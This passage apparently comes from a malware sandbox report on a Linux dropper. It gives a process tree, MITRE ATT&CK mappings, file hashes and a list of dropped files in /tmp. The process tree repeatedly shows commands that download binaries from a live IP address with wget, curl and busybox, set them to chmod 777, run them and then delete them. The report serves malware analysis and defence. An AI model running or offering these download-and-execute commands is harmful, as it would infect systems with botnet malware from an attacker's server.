  curl -O http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:903
- /bin/chmod
  chmod 777 NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  ./NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
  2⤵
  PID:906
- /usr/bin/wget
  wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:907
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:909
- /bin/chmod
  chmod 777 AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  ./AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  - Executes dropped EXE
  PID:911
- /bin/rm
  rm AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
  2⤵
  PID:912
- /usr/bin/wget
  wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:915
- /bin/chmod
  chmod 777 kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  ./kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
  2⤵
  PID:918
- /usr/bin/wget
  wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:921
- /bin/chmod
  chmod 777 CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  ./CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
  2⤵
  PID:924
- /usr/bin/wget
  wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:926
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  - Writes file to tmp directory
  PID:928
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:929
- /bin/chmod
  chmod 777 EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - File and Directory Permissions Modification
  PID:930
- /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  ./EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  - Executes dropped EXE
  PID:931
- /bin/rm
  rm EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
  2⤵
  PID:932
- /usr/bin/wget
  wget http://87.120.84.230/bins/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
  2⤵
  PID:933

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR

Path /tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	690	EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR
/tmp/TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq	701	TSZC42UMtCpxAv9cmDHhWit0cLn57D71nq
/tmp/ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7	707	ZAkqqOphxx7PwUap4YfTXsrxKIzzZ7eJz7
/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	719	ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	733	5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	751	XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	771	AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	784	kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	790	CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	802	HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	819	UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	843	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	849	XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	855	NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
/tmp/5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI	861	5LvIj8Hlkfml8KvYHMbvlmrInoYUkpDcMI
/tmp/XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS	867	XQxuFFnDrSu5NGVEzt03l2nBHNqOAub6YS
/tmp/ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2	873	ycCCEQ3KwshWKxUqy90R7d1QCTWyIFk0L2
/tmp/HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA	879	HkLhrUxKv3J9znzuGKoKtfNmdEco32NlEA
/tmp/UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3	887	UJrxybNq7t9JvImBrZm3C2Z81TVmAxQXZ3
/tmp/tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD	893	tBIUCQrywryPJ8kXOYISIpeW9exrTaxiGD
/tmp/XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd	899	XBo4agkJzokgBQLB4kf29o4JlLeEXpJ6Zd
/tmp/NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r	905	NwdxYNq5D362eMNjLqJyLR69MXhlMfMp6r
/tmp/AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF	911	AqhcHSjOu58mYdJLDIdMEjHWSyDxPyhHpF
/tmp/kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz	917	kTFUJjJi6xrHOgmtQd4MoS2ZjRzhvEwXjz
/tmp/CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73	923	CRWNCQdi8ewthhi3QWXOQylltsfUFlEO73
/tmp/EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR	931	EuyepLNebPXoa5I6eLHWnxUhUkLg8RnTzR

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads